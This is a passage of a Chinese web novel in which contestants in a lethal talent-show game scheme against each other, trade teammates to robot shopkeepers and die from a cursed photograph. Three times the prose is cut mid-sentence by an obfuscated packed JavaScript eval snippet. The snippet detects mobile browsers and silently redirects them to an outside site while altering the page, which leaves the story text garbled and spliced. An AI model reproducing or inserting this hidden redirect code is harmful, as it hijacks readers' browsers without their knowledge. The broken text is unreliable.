她们的表情很平淡，仿佛这只是漫不经心出口的话。 如果林筱不知道前提的话。 “可以吗？”叶曳倒像只毫无所觉的兔子般蹦跶到她们的面前，“随便怎么拍吗？” “如果你想更好地体验，我也可以教你怎么摆姿势。”高个子不动声色地说道。 “真的可以吗？”叶曳眨巴着双眼，眼眸中闪烁着星星点点的亮光，“我想和艾姐姐一起拍照哎！” 高个子的表情明显僵硬了一下，但还是选择和叶曳一起站在了宿舍楼前。 “嗨，各位评委和观众们！我要和我新认识的艾姐姐一起拍照了哟。虽然我们刚认识一天，但感情的深浅和时间并没有直接关系。所以，”叶曳抱住高个子，“我们现在是非常好的朋友啦。” “嗯，是的。”高个子面无表情地应下，“你先站好，我告诉你摆什么样的姿势。” 林筱挑了挑眉。 看来她们也不吃叶曳这一套啊。 73. 第三个世界11 或许是叶曳从未受到这样的冷落，亦或许是她故意而为之，顷刻间，她的眼眶内就充斥着晶莹的泪珠。 水珠欲落未落，泛红的眼周衬得叶曳愈发楚楚可怜：“艾姐姐是嫌我烦了吗？” 麻烦。 这是林筱从高个子脸上看出的表情。 如果连林筱都能捕捉到，那对情绪更加敏感的叶曳更不会放过。只见两行清泪顺着面部曲线滑落到地面，吸引了一只又一只蚊蝇飞旋盘绕。 高个子肉眼可见的慌张了。 难不成，对方还是个怜香惜玉的角色，见不到女孩流泪？ 明知道不可能，林筱还是忍不住在心里逗趣。 但这个想法真的出现后，她又忍不住一愣。 之前，她似乎从来没有闲情想这些无关紧要的东西。可能真的是因为有了可靠的同伴，她的状态也止不住松了下来。 一旁的叶曳却是乘胜追击。 “既然姐姐觉得我烦，那我走就是。”叶曳垂着眼，语气落寞，耷拉着肩就要离开。 回过神来的林筱自然不会拆叶曳的台，也做出要离开的姿态。 “等等。” 果不其然，她们出口挽留了。 如果林筱她们没有利用价值，这对高低组合也不会浪费宝贵的时间陪她们折腾。虽然节目组没有说明奖励的名额有多少，但为了获得更多的有效镜头，自然是越早完成越好。 “我知道是姐姐们看我们可怜好心收容我们，但人是要有自知之明的。” 叶曳倔强地咬着唇，下颌抬起的弧度恰巧最能突显她修长的脖颈，看上去柔弱可怜又可亲， “既然知道是自己拖累姐姐们了，我们也不会再来打扰。旁观什么时候都可以，我们自己走就是了。不过就是不知道情况多走点路罢了，就不麻烦姐姐们了。” 自己遇到了牙酸，但如果是对手遇到了，林筱还是很乐意看戏的。 “你怎么会这么想？”矮个子的目光有一瞬间的阴鸷，但很快疑惑地看着叶曳，温声解释，“如果不是欢迎你们，我们也不会在楼下特意等你们。大概是小艾面相凶，让你们误解了吧。把你们留下来是我们自己的决定，不管任务能不能完成都没关系的。” “是吗？”叶曳转过身，看上去将信将疑。 “当然。”矮个子微笑，用眼神示意高个子下来，“我们现在就可以拍一张合照。你喜欢什么样的姿势？我们可以配合你的。” 叶曳一步三犹豫，扭扭捏捏地站到她们身边：“就这么拍吧。” 新鲜出炉的旅客照从一旁的树上抖落下来，站在一排的三个女孩子高低不一，面上的笑容却是一致的僵硬死板。 叶曳捡起照片，随意地扫了一眼就收起来：“正好可以留给我作收藏哎，等以后我们不能再在一起了，我还能怀念姐姐们。” 矮个子的嘴唇颤抖了一下，最终还是忍住了，看向林筱：“要一起拍一张吗？” “我不喜欢拍照。” 林筱拒绝了，矮个子也没强求，点点头看向了高个子。 叶曳这一闹还是浪费了时间。 为了获得奖励，高个子也没空纠缠，急匆匆地根据节目组的指示完成了打卡任务。 那是一个舞蹈动作，需要一定的功底在身上，但要说难，却也不是特别难，只是要做得好看很难而已。 至少从这个动作来看，她和叶曳的存在有些多余。 “姐姐，”叶曳捂着嘴和林筱说悄悄话，“我们是不是打扰她们做任务了？” 她的动作挡得了高矮组合的视线，却阻止不了飞虫的靠近。胡乱飞舞的虫子眼见就要靠近她的嘴巴，叶曳只能紧急制动，委屈地看着林筱。 “你不要多想，她们不都说了，很欢迎我们的。”林筱看着因为定点动作而开始手指颤抖的两人，垂眸劝解道。 叶曳委屈地低下头：“可是艾姐姐刚才真的好凶哦。” “她只是面相凶而已。”林筱用她们自己的话回复，即使她和叶曳都清楚这不过是糊弄的话而已。 叶曳和她想的一样，这个趣味赛还有她们不了解的隐藏任务。也不知道一个选秀节目怎么会隐藏那么多秘密？ 【恭喜两位选手完成打卡，请前往下一地标建筑完成本次任务。】 节目组的提示音并不清晰，像是从高高的天上而来，在穿梭之中损耗了大半音质，只剩下粗糙飘忽的电子音。 高低组合也终于松了口气，活动下已经僵硬的身体。 “第一个打卡总算完成了，”矮个子走了过来，“下一个地标建筑，你们有什么建议吗？” “那挑个最近的吧。”叶曳煞有介事地点了点头，“我们已经比其他选手晚了，就得从其他方面补回来。” “那就去商座。” 矮个子手指的方向，正好是位于园区正中间的那栋高楼。 这就很难证明到底是叶曳的选择还是她们本身就心有所属了。因为从直线距离来看，商座确实是距离她们最近的，但如果考虑到入口的位置，她们还需要绕一圈才能见到，这个距离和前往其他建筑也相差无几了。 但眼下，林筱和叶曳还是欣然答应了她们的邀约。 园区内的绿化很好，好到哪都有乱飞的飞蚊。两人宽的步道上空一挥就多了密密麻麻的伴手礼，细密的节肢冷到灵魂都要凝固。 没有人敢在这时候开口，毕竟谁也不想加餐。但好在商座不远，她们也总算来到了它的附近。 这里的飞蚊就少了很多，但墙面高处却悬挂起一个又一个监控，无死角地守卫着商座。 “我们得先找到正门，”总算能说话的矮个子看着空气中只有她们能看见的任务提示，“你们要拍照吗？” “不用了。”叶曳摇头，“你们抓紧时间完成任务要紧。” 出乎林筱她们预料的是，这两人居然没有异议。 怀揣着疑问，她们绕着商座走了半圈，终于看见悬挂着天平标志的商座大门。大门两旁站着一对容貌姣美的女子，远远看到她们就躬身问好。 从门口到她们所在的路口中央铺着一张红色地毯，鲜艳的颜色已经黯淡，浅绒也已经被挤压成片状，只留下万般锤炼后的姿态。 从成色看，这不可能是几年前留下的物品。但从它的使用痕迹看，却也不是一日两日就能形成的。 也就是说，在她们这些选秀成员进入园区之前，这里的工作人员已经频繁出入商座进行交易。 她们所要面对的，是已经做好准备的掠夺者。 叶曳也看到了地毯的异样，即使她不清楚工作人员的目的，也该知道这商座并不简单。 她停下脚步，看着依旧往前走的高低组合：“艾姐姐，高姐姐，走错了。” 然而高低组合并没有停下脚步，直到发现她们没有跟上来，矮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073128|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个子这才故作惊讶地回过头：“啊，我忘记跟你们说了，这里和其他地方不一样。商座的打卡点是里面的喷泉，所以我们需要进去。” 这里和其他地方不一样。 简单的一句话，却已经透露出不少信息。这两人果然有其他的消息渠道，而商座，也确实如林筱最初所想，具有特殊地位。 叶曳虽然也想搞清楚节目组想做什么，但也不代表她不爱惜自己的性命，第一时间摇了摇头：“我不行，我不敢，这里太奢华了。我不好意思进去，怕弄脏了这里，我就在外面等着姐姐们好了。” “那你呢？”矮个子点了点头，转头看向林筱。 “我陪叶曳。”林筱也选择了外面。 但和叶曳不同，林筱选择留在外面是觉得叶曳会有危险。高低组合在选择来到商场之后截然不同的态度就表明她们已经改变了之前的想法，她们不是放弃，而是有了可以远距离利用她和叶曳的办法。 所以过去不一定危险，留下也未必安全。 果然，高低组合没有劝她们改变想法，面色严肃地走进了商座之内。 “姐姐，我怕。”叶曳抱着林筱的胳膊，声音都在颤抖。 高低组合越是不慌，该慌的就是她们了。 “不用怕。”林筱没有挣脱，也不是单纯安慰。这个选择对于高低组合来说也是有风险的，毕竟高个子的脸色从宿舍楼前就没有好转过。 只不过叶曳会更加危险而已。 主动与高低组合搭话的是她，和她们合照的是她，而林筱从见到两人开始就没有明确说过组队之类的话，甚至和叶曳也没有明确组队。 显然，叶曳也意识到这一点。但选择是她自己做的，就算没有林筱，她也会那么做。而且，这样也算是分摊了风险。 “姐姐，我好舍不得你啊。”叶曳撒着娇，头却低垂着，遮掩了自己的表情。 突然之间，她的身体猛然抽搐了几下，喉咙间发出不明的声响。 下一秒，一股鲜血从她的嘴中溅射而出，在红色的地毯上留下更深沉的颜色。 叶曳抱着林筱的手已经使不上力，全靠林筱的支撑才没有萎软地瘫倒在地面。生命力的流逝在此刻格外清晰，但更明显的，是来自四肢百骸的酸痛。 “我的口袋有照片。”叶曳咳出一口带着泡沫的血，用最后的力气说出她知道的所有信息，“她们在利用我的身体完成有生命危险的动作，既然你没事，她们中的一人也肯定会负伤。 “找到她们，帮我报仇。” 叶曳当时第一时间留下照片，就是以防她们会利用照片做什么。没想到就算她留下了照片，该发生的也照样发生。 所以她能倚靠的也就只有林筱，她的临时舍友了。 林筱将她挪到阴凉处躺好：“我尽力。” 但这句话已经足够让叶曳满意。她闭上眼，露出右侧的口袋，让林筱能够取出藏在其中的相片。 相片上的三人动作都发生了变化，如同提线木偶般呈现出奇怪的姿态与恐惧的表情。 是这个世界独特的科技？ 林筱用食指之间触碰叶曳的脸，却猛然感觉到针扎般的痛感，与此同时，叶曳的身边逐渐出现一具带有女性特征的朦胧身影。 虽然那具身影没有脸，甚至连身体都还是不清晰的雾状，但林筱知道，那是她。 看来这商座，她是非去不可了。 74. 第三个世界12 “欢迎光临出道商座。” 清脆甜美的声音同频响起，明明出自两个人口中，却听不出一点杂音。 就连她们距离门的位置都是完美对称。 金色的旋转大门感应到顾客的靠近缓缓转动，两侧的玻璃门内飘下金色彩带，一股馥郁的香气从室外直往外冒。 可以说是用有限的资源做到了极致。 “请问，喷泉在哪里？”林筱没有立即进去，而是对着右侧的门童询问道。 仔细观察后，这两个门童就连外貌都做到了复刻。但比起复刻，镜面或许是更恰当的形容。 包括眼角的那颗痣。 “喷泉在出道商座一楼中央，您进去后直行就可以看到。”右侧门童秉持着微笑服务轻声细语道。 口型准确，声音发出的位置也正常，甚至能看见口腔更细致的结构。 “谢谢。” 难不成是她想多了，她们并不是机器人？ “为您服务是我们的职责。”听到道谢，两个门童再次动作整齐地欠身行礼，灯光透过玻璃折射出点点亮光，连带着点亮了她们眼角的痣，以及周围细密的纹路。 怎么看，那都是一张真皮。 时间紧迫，林筱不准备在门口浪费更多的时间，快步走进了商座。 光线有一瞬间的昏暗，但很快，商座内的灯光就已经闪耀到她来不及思索那一刹那的异样。 金碧辉煌。 林筱只能这么形容她所看到的一切。 她曾经以为夏天已经足够浮夸，但这里有过之而无不及。目之所及，都是极尽闪耀的装饰，似乎是要把一切华丽的、昂贵的东西都镶嵌在墙壁之上。 “这里真美，不是吗？”一旁的工作人员凑到林筱身边感慨道。 林筱能感知到他话语中的真情实感。 这种感觉，就像是贫民认为国王讨饭的碗都是金子做成的，却不知道国王根本不需要讨饭一般，毫无审美、悬浮的富贵。 但却又符合下城区居民的身份。 看见林筱没有反应，工作人员拉住林筱的手：“你不觉得吗？” 语气虽然平和，但看他的表情，似乎林筱一旦说错就会被他撕碎一般。 不一样了。 之前的工作人员虽然会引导选手违规被淘汰，但不会摆出那么明显的恶意直接下手。 也就是说，商座，是一个豁免区，但豁免的，是杀戮。 “我从未见过这样的地方。”林筱实话实说。 虽然她指的是从来没见过那么浮夸的地方，但她也不算说了假话。 这位来自隔壁专柜的工作人员停顿了一秒，眼角泛红的痣突然亮起一道绿光，随后就传来他略带遗憾的声音：“原来客人是真心实意这么觉得啊。” 这居然是一个机器人！ 如果光从外表来看，林筱看不出他和真人的区别，包括声音动作都看不出机械感。但显然，这颗痣就是区分机器人和真人的某种标志，同时也具备鉴谎的功能。 林筱快速扫了一眼周围的工作人员，几乎每一个人都有痣，尤其爱分布在眼角位置。 那么商座的门童也是机器人了。 越是与众不同，越能证明这里特殊。 看见林筱一直没说话，工作人员眼珠一转。 像是被人挑明非人属性后不装了，他的眼珠旋转速度和弧度显然不是正常人类可以做到的。 他就以这样诡异的表情招呼林筱：“客人有什么想要购买的吗？除了出道位，我们店可是什么都有。” 林筱看了下他的店名：出道杂货铺。 这个店名和这个商座的定位、装修风格可以说是格格不入。 “我不买东西。我赶时间要去喷泉。” “那不行，”林筱的话并没有让工作机器人买账，它反而更加明目张胆地拦住林筱，“既然来了我们店铺，总要带点东西才能离开。” 林筱看着自己距离店门口至少二十厘米的距离，又看了看完全站在过道中间的工作机器人：“我没有进去。” “可你接受了我的招揽。” 完全不装了的工作机器人嘴角咧到接近耳尖的高度，露出可以反光的锋利的牙齿， “没有人能空手离开我管理期间的店铺！” 回答也不是，不回答也不是，这完全就是个死局。 不清楚高低组合是不是也经历了同样的事情，但此刻林筱确实感觉到了棘手。最重要的是，想要保住叶曳的命，她不能浪费更多的时间了。 叶曳……等下。 “我可以找我的同伴代付吗？”林筱突然开口。 “当然可以。”工作机器人露出猪肝色的舌头，就像经久未使用般卡在唇角一截，就像是未被吞吐尽的内脏。 林筱拿出合照：“这两个人可以帮我代付。” 她指尖点着的，正是高低组合。 “当然可以。”舌头被收回，舔舐了牙齿一圈，工作机器人瞳孔中闪过几个无法辨别的字符，“这几个货架的东西你都可以选择。” 看来这里的机器人还可以估算选手的价值，只是不知道这个衡量标准是什么。 林筱看着那三个货架，分别针对评委、临时经纪人和选手自己。 有给评委的贿赂，由店铺代给，绝不会被人抓到把柄。有提高临时经纪人好感的礼物，还有摆脱他监控的道具。 给选手的，就多了。 有提升自己的各种课程，也有装饰自己的服化道，还有陷害对手的整蛊玩具。 林筱看到一张标明诅咒小卡的纸张，工作机器人就自觉介绍：“写上名字，你的对手就会因为意外失去出道机会。现在正在折扣期，买三送一，让你的对手全都淘汰。” 一次性送走四个竞争对手，这对于卡在线上的选手来说确实心动。 “只要写上就会被淘汰？”林筱怀疑。 如果这个小卡的作用真的那么好，那也不会沦为打折商品。 “哎呀，被客人发现了。”工作机器人捂嘴笑道，“这只是诅咒小卡，如果被诅咒的人能够化诅咒为机遇，那小卡也没办法了咯。” 也就是说，这个小卡只能针对因为运气侥幸通关的人，对于真正有实力的人，它反而会成为他们的助力。 难怪会是打折商品，鸡肋。 但摆在货架上的基本都是这类的东西，没有林筱需要的。 “客人想要什么类型的商品，我也可以为客人推荐。”工作机器人懂眼色地问道。 “免受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073129|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害的。” “免受伤害这个范围太广了，就算店里有，客人您也买不起。”工作机器人依旧笑眯眯地回答，一副微笑服务的好姿态，“但您可以选择避免某一种伤害的防护道具，比如这个。” 它举起一张另一种颜色的小卡：“它就可以避免诅咒。” 除了颜色，它真的和那张诅咒小卡没有区别。 “我想要将伤害返回的道具。”但也给了林筱灵感。 这个杂货铺的道具似乎都是一对一对的，如果高低组合是利用道具伤害了叶曳，那也可以在这里找到解药。 “这真是巧了，你的余额正好够买一张卡。”工作机器人喜滋滋地开口，“今天可真是998的好日子，替罪羊套装都卖出去了。” 林筱怀疑，不，是肯定，这句话是机器人故意说给她听的。 这可真是暴利行业。 林筱不知道高低组合付出了什么，但她为了帮助叶曳可是付出了两个人的代价。 “请收好您的商品。”998甚至连包装袋都吝啬给予，直接从柜子里取出一张纸递给林筱，“只要把这张纸放进给予伤害的人的口袋中，道具就会生效了。 “您还有二十分钟哦。” 看着99阴森森的笑容，林筱淡定点头：“谢谢。” 二十分钟。 林筱一边赶往喷泉，一边思索。 按照这个工作机器人的说法，她必须把道具放进她们中一个人的口袋中。这个杂货铺应该还不至于玩低级的文字游戏，实际上需要她解决两个人的那种。 所以她还需要从高低组合中套话。 从商座的门口走到喷泉的距离并不长，但也需要几分钟。隔着几排店铺，林筱远远地看到了高低组合。 也不是她们在人群中特别亮眼，而是现在这个阶段，还没有人敢在这里逛。 这些来自中、下城区的居民还没适应自己选秀成员的身份，根本不敢到这个一看就属于上城区的地盘上来。 换句话说，敢来这里的她们四个人都不算简单。 所以排除这里的工作机器人和一些穿着制服的工作人员，高低组合就变得显眼起来。 更何况，她们还在属于喷泉的那个空地上摆出奇怪的姿势。 林筱来到了她们的身前。 高低组合也没有林筱她们想象得那么好，即使将部分伤害转赠到叶曳的身上，她们依旧肉眼可见的狼狈。 和宿舍楼前的舞姿不同，这次她们需要摆出的动作已经超过了人体的极限，关节扭转的幅度直奔脱臼而去。 她们已经尽了她们最大的努力，只可惜，节目组依旧没通过她们的打卡。 她们不得不停下动作，瘫倒在地面上不断喘气。 “还没有好嘛？” 一道熟悉的声音出现在她们上方，但她们已经没有精力直起身来，只能费力地扭动头颅寻找声音的出处。 是林筱啊。 既然找了进来，就说明叶曳已经出了问题，看她的态度，很可能已经知道发生了什么。 矮个子强忍着扯出笑容：“你来了啊，只可惜你来晚了。” 看着她们有恃无恐的模样，林筱终于意识到一个问题： 她们的身上都没有口袋。 75. 第三个世界13 没有口袋很正常，但两个人都没有在此刻却显得可疑。 林筱蹲下身，打量着她们似乎摆烂般一动不动的模样，肯定地开口：“你们很了解这个选秀节目。” 这个了解，其实早就已经暴露出来，只不过当时她们谁也没挑明。但林筱和叶曳也猜不到这两人居然那么早就已经在算计她们。 准确说，不是针对她们，而是任何有可能与高低组合发生联系的任何选手，她们只不过是最不幸的那个。 隐瞒毫无意义，所以高个子点了点头：“对。” 林筱挑眉。 她以为林筱有顾虑，索性敞开来讲：“你有什么想问的，都可以问。你的那个临时搭档已经没救了，但我们还是可以合作的，这就是我的诚意。” 想了一下，她补充道：“放心，这里没有监控。 “只有商座里和洗手间没有监控，所以在这里，我们可以更坦诚一点。” 正是因为说开了，高个子也不介意泄露一些消息给林筱。既是诚意，也是诱饵。 “除了商座和洗手间，那我们在路上……”林筱很快就反应过来，“那些虫子。” 没错了。 这里的绿化率再高，飞虫的密度还是远远超过了，除非那本来就不是正常现象。再加上它们见人就扑，极大可能就是节目组伪装的摄像头。 这也就解释了高低组合为什么看到叶曳不配合的行为还要耐着性子哄她，都是为了维护观众和评委的喜爱度。 高低组合没有说话，但神情已然表示了她们的态度。 林筱猜对了。 节目组对这个节目的掌控欲超过了林筱的想象，这也意味着如果她想要搞事，也会比之前预估的更加困难。 但回到现在的话题，林筱好奇：“你们怎么知道那么多？” 根据林筱现在了解的信息，这是一个阶级几乎固化的社会，中、下城区掌握的信息完全受限于自己的阶级。 而这个代表阶级跃升的选秀节目，换而言之，就是属于上城区，至少是中上阶级的那一部分人的乐子，远不是中下城区的公民可以了解的。 如果她们有一条可重复利用的消息贩卖渠道…… “我有一个亲戚曾经就从这个节目里出道。”高个子含糊地开口，“虽然她之后再也没联系过我们，但在前往上城区之前，她用只有我们知道的联系方式给我们透露过消息。” 高个子的表情还有些不忿，但矮个子却是面无表情。 “人往高处走，水往低处流，去了上城区，谁还会下来。” 听到林筱这句话，高个子也点了点头表示赞同。 但一个选手获得的信息是局限的。 它可以避免得到信息的人踩重复的坑，但谁也不知道这个坑是否留到现在。就算它还在，它被改造成更大的坑，还是虚假的坑，这也依旧是个存疑的事情。 林筱摇了摇头：“想要拉拢我，这点消息不够。” 听到这句话，高个子立马变了脸色，拧着眉握着拳，恨不得下一秒就把这张好看的脸打成五颜六色：“你别得寸进尺！” “怎么不打？”林筱看了下她的拳头，嘴角噙着笑，“是不舍得吗？” 高个子浑身颤抖，但就像林筱想的那样，她不敢打。 因为，她们没有机会了。 会和心有嫌隙的对手合作，要么对方的实力强大到可以忽略一切不利因素，要么就是不得不这么做。 虽然林筱觉得自己可以充当第一种，但也不得不承认在之前的同行中，她并没有展示出任何优点。 所以只能是第二种。 别看高低组合她们现在还能和林筱正常说话，但也只能说话了。这第二个打卡任务还是超出了她们的预计。 林筱之前看到的只是她们的收尾动作，事实上，她们需要完成的是一整个视频。即使节目组降低了难度，允许她们分段拍摄，但那些突破生理极限的动作依旧不是正常人类可以完成的。 所以她们利用叶曳承担了她们承受的伤害，完成了最困难的部分。 但一个人类能够分担的痛苦有限，剩下的难点依旧需要她们自己破解。 这也是她们现在所遭遇的。 她们不是想和林筱合作，而是不得不和林筱合作，不然她们连离开商座的力气都没有。 “那你们的打卡完成了吗？”林筱依旧蹲在原地没有动。 她们沉默。 这也是她们不得不委屈求全的原因之一。 节目组一直没有提示她们完成任务。 “看来你们的情报也不够完善。”林筱若有所思地笑了一下，“那你们之后准备做什么？” 高个子仔细观察了林筱的脸色，确认她是否真的有合作的意图。但什么也看不出，甚至林筱脸色一直挂着淡淡的笑容。 高个子试探着伸出手：“合……啊！” 她发出短促的痛呼，飞快地收回手，一道深可见骨的伤口出现在她的手臂上。 “你要做什么！” 高个子愤怒地瞪着林筱。 虽然她不知道林筱是什么时候用细丝把她们围住，但在场所有人里面，只有林筱有这个嫌疑。而她这么做的理由，不可能是因为想对她们好，只可能是要对她们下手。 “你的那个临时同伴已经没救了，你没必要为了这一天不到的合作时间而浪费更大的利益。”矮个子也在一旁劝道。 至少此刻，她们看上去都很真诚。 “谁说没救的。”林筱垂下眼，看着自己的手指叹了口气。 叶曳还有救？ 高低组合不敢相信，但林筱笃定的神情却让她们忍不住怀疑。 解除道具效果的办法只有把相对应的道具放入使用者的口袋里这一个。 这就代表林筱需要知道是谁使用了道具，然后在规定时间内把道具放进她们的口袋中。 可在出门前，她们都特意选择了没有口袋的衣服。所以这一条路，林筱走不通。 但林筱不知道只有这一个办法。 所以， 高个子恐惧地看着眼前的人：林筱要杀她！ 解决事件的始作俑者一直都是解决一个问题的捷径。 “商座内不允许选手互相杀害。”矮个子很快稳住自己，沉声警告林筱。 但也只是禁止直接杀害。 “放心，我不是那种人。”林筱靠近她们，但显然，对面的两个人都没有信。 “算了，没时间了。” 林筱叹了口气，手指翻飞，一下子就将高个子捆绑得严严实实。 在她们惊恐的眼神中，林筱划开那道伤口，将粗糙的道具塞了进去：“借个口袋。” 口袋，指衣兜，也指皮或布做的装东西的用具。 从上个世界学到的办法确实好用，但她那么做却不是为了泄愤。划出一道伤口，既表明她的态度，也是为了制作口袋。 谁让高低组合先把最简单的办法删除了。 这一出，高低组合谁也没想到。就算她们不是好人，但也还没变态到可以把人当做物件来看待。 “就算你想到了别的法子，但你人选错了。”矮个子突然出声，“给叶曳下咒的人是我。” “没时间了。”林筱却不在意地抬了抬头，用纸巾擦拭手上的血痕，“选没选对，那就看命吧。” 看着高低组合仿佛被噎到的表情，林筱散漫地笑了一声。 当她真的没脑子吗？ 是，那个真正拥有消息渠道的人是矮个子，但不妨碍使用道具的人是高个子。哪怕她在刚才聊天的时候一直遮遮掩掩地透露出矮个子在这件事情中的作用，可是，这么危险的事情，矮个子可不会亲自做。 就算她猜错了，也不过是辜负了一个临时室友的信任。她可不是她们这些人心里的大善人。 高个子瞬间慌了。 她知道自己就是使用道具的人，她也清楚叶曳身上的伤都是怎么回事。如果这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073130|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些伤返回到她的身上，她肯定没多少时间好活的了。 她惊慌地看着四周，用尽全身最后的力气嘶吼：“我要交易！” 之前对她们万分热情的工作人员却像什么也没听到般继续自己的工作。 矮个子心里产生不好的预感，连忙帮着一起喊了起来。 一个人的声音小，两个人的声音却足以吸引附近大厅内工作人员的注意。 本该是这样，但这里的工作机器人都没有理睬她们二人。 看着她们越来越慌乱的神情，最后还是林筱好心安慰：“不用喊了，你们没有价值了。” 高个子还在迷茫，矮个子却反应过来：“你卖了我们。” “嗯。”这没有什么不好承认的，林筱点了点头。 她们顿时知道林筱也接触了那个相片。正是因为她们同样在组队状态中，而队友是可以默认交易的资源，所以林筱就是通过交易她们获得了帮助叶曳的道具。 她们还以为叶曳给了林筱什么来换取道具，又或者是林筱牺牲了自己换得道具，没想到对方比她们想象的更狠，空手套白狼。 凭什么林筱就可以什么也不付出。 矮个子眼底闪过晦暗，拽住身边经过的工作人员的裤脚：“我要交易，我要用她交易！” 被指的林筱没有惊慌，甚至无趣地眯起了眼。 只见工作机器人完全不管矮个子的伤，拖拽着她来到林筱身前：“请保管好您的物品。” 物品？ 高低组合瞪大眼，像是完全没想到自己在商座里会是这个定位。 只有林筱没有惊讶地道谢：“我会看管好的。” 怎么会是物品，怎么不会是物品？当你被交易的时候，你在估价人的眼中，就只是一个标有数值的物品而已。 又有谁会在意一个物品的感受？ 如果林筱需要，她们随时可能会被当做一个物品抵押在商座，再也无法前进。 高低组合这才清楚地领悟到自己的处境，而她们现在能求助的对象就只有林筱。 “我们可以配合你得到奖励。商座是游戏的重点，我们现在是跳关了，所以难度加大。但完成之后，就只需要完成最终任务就能获得最后的奖励，比其他人都快。”矮个子展现她们的价值。 原本他们也想循序渐进，她们也不想冒那么大风险。但林筱和叶曳不信任她们，她们也只能选择这个办法。 “没必要，”只可惜，林筱不是寻常的参赛选手，“我不需要这个奖励。如果想继续参赛，你需要展示更大的价值。” 就比如更多关于这个节目的秘密。 矮个子也没辜负林筱的信任：“我还可以告诉你其他秘密，这个节目组还存在一些来自其他……” 她的话没说完就突然没了声音。再一看，她的瞳孔已经散大，没了气息。 惊吓之下的高个子也出现了反噬的症状，她的嘴角不断冒出汩汩血流，血液仿佛无法凝固般往外喷涌。 还不如矮个子，至少死得痛快。 无法抗拒的生命消逝的绝望让她眸光再也无法光亮，看着还蹲在一旁的林筱，断断续续的话语伴随着血沫吐出：“你赢了，我们的表演，彻底，结束，了。” 【恭喜选手完成本次趣味任务（二），和室友一起打卡园区内两处地标建筑。下面颁布阶段性趣味任务（终）：和商座主人合影。 选手可自由选择完成任务或不完成任务，任何选择都没有惩罚措施。完成所有阶段任务即可解锁奖励，期待各位选手的参与。】 伴随着节目组播报声音的结束，高个子也失去了动静。 她们距离任务完成，只少了最后一句话：我们的表演结束。 林筱还在想矮个子说的话。 其实结合她们之前的表现，再加上节目组一些奇怪的地方，她一直有个怀疑： 这个世界，知道游戏系统和他们这些玩家的存在。 但证实，还需要更多线索。 76. 第三个世界14 “我就知道姐姐可以的。” 未见其人，先闻其声。 叶曳精力都还没完全恢复，却有兴致演戏。 她衣服上依旧残留泛黄的痕迹，但也能从中看出其主人努力清洗的辛劳。甚至是可以让人怀疑她恢复的第一时间就是去清洗衣服的程度。 商座里人流量不大，最热闹的喷泉一下子就成为最显眼的指路标，把叶曳引到了这里。 外面浅浅一层围观人员，里面蹲着一个，躺着两个。 她看也没看里面的人脸，就已经笃定林筱会是最后的赢家：“参赛吗？” 蹲着的人回过头，果然是林筱。 林筱的眼睛微红，跟刚哭过一样。一向冷静的人突然出现这么情绪化的表情才更加让人心动。 叶曳突然觉得自己不多的良心跳动了一下：“没必要为她们难过。虽然她们的初衷是为了找回姐姐，但我们也不能不反抗对吧。这都是她们咎由自取。” 林筱噎了一下：“我没哭。” 看着叶曳一副你在逞强的表情，林筱只能解释道：“刚才道具弄到我眼睛里了。” “你说是就是吧。”叶曳依旧一副理解的模样。 林筱沉默地看着叶曳，放弃解释。 她购买的道具已经被装进“口袋”，就算化为灰烬，那也不应该伤到林筱自己。然而这个世界的道具并不按常理来，道具的残骸从伤口中划出，在空气中分解为灰尘大小的粉末，目标明确地直扑林筱的眼睛。 毫无防备的林筱直接中招，还没缓过来就遇到进来的叶曳。 “不参赛吗？”林筱闭上眼缓了一会，再睁开时已经没有了异样。 说来也奇怪，就这么一会功夫，她的眼睛内已经感觉不到异物的存在。 “如果可以的话呢，我是希望姐姐能陪我参赛的。毕竟艾姐姐她们那么努力地为我们完成了前面的所有任务，这时候半途而废，就辜负了她们的心意。 “但如果姐姐不想参加的话呢，我也很乐意陪着姐姐的。毕竟最后一步总是最艰难的，我们没有准备，就算参赛也很可能是陪跑。” 林筱沉默。 有那么一瞬间，她在怀疑自己找临时同伙的眼光。 所以，叶曳说到气喘，就是为了说完她的这些废话？ 看着林筱的表情，叶曳噗嗤一声笑了出来：“我的建议是，参赛。” 既然节目组自动将她们视为和高低组合一组，这捡漏的事情，不捡白不捡。况且…… 总算听到正经人话的林筱放下独立出去单干的念头：“那现在的问题是，商座主人是什么样的人？” 要找到一个人，起码得先知道那个人长什么样，不然就是大海捞针，白费功夫。 “所以我建议参赛啊，姐姐。”叶曳露出一个狡黠的笑容，“我可是发现了一个好东西。” 林筱不答，但林筱知道，叶曳她憋不住。 果然，叶曳气呼呼地坐在林筱身边，也不管周围的围观群众，撒娇似的点了点林筱的胳膊：“你就不能哄哄我吗？” 